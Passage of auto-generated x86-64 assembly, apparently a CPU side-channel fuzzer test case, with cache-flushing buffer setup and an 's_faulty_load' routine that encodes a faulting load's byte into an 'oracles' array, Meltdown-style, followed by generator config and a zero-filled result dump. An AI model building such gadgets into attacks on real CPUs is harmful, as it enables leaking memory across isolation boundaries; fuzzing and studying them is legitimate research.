lea addresses_UC_ht+0xb88c, %rdi
nop
nop
dec %rax
mov $100, %rcx
rep movsl
nop
nop
sub $20355, %rdi
lea addresses_normal_ht+0x1cf88, %rsi
lea addresses_UC_ht+0x115f8, %rdi
clflush (%rdi)
and $38690, %r15
mov $57, %rcx
rep movsw
nop
nop
nop
cmp %rdi, %rdi
lea addresses_A_ht+0x6388, %rsi
lea addresses_D_ht+0x688, %rdi
clflush (%rsi)
nop
nop
nop
sub $17773, %r9
mov $17, %rcx
rep movsw
nop
xor $65097, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r8
push %rax
push %rcx
push %rdi
// Faulty Load
mov $0x788, %rax
nop
xor %r13, %r13
mov (%rax), %cx
lea oracles, %rax
and $0xff, %rcx
shlq $12, %rcx
mov (%rax,%rcx,1), %rcx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_P', 'AVXalign': True, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_P', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 11}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 2}}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': True}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}}
{'00': 9561}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 34.873239
| 2,999
| 0.656166
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.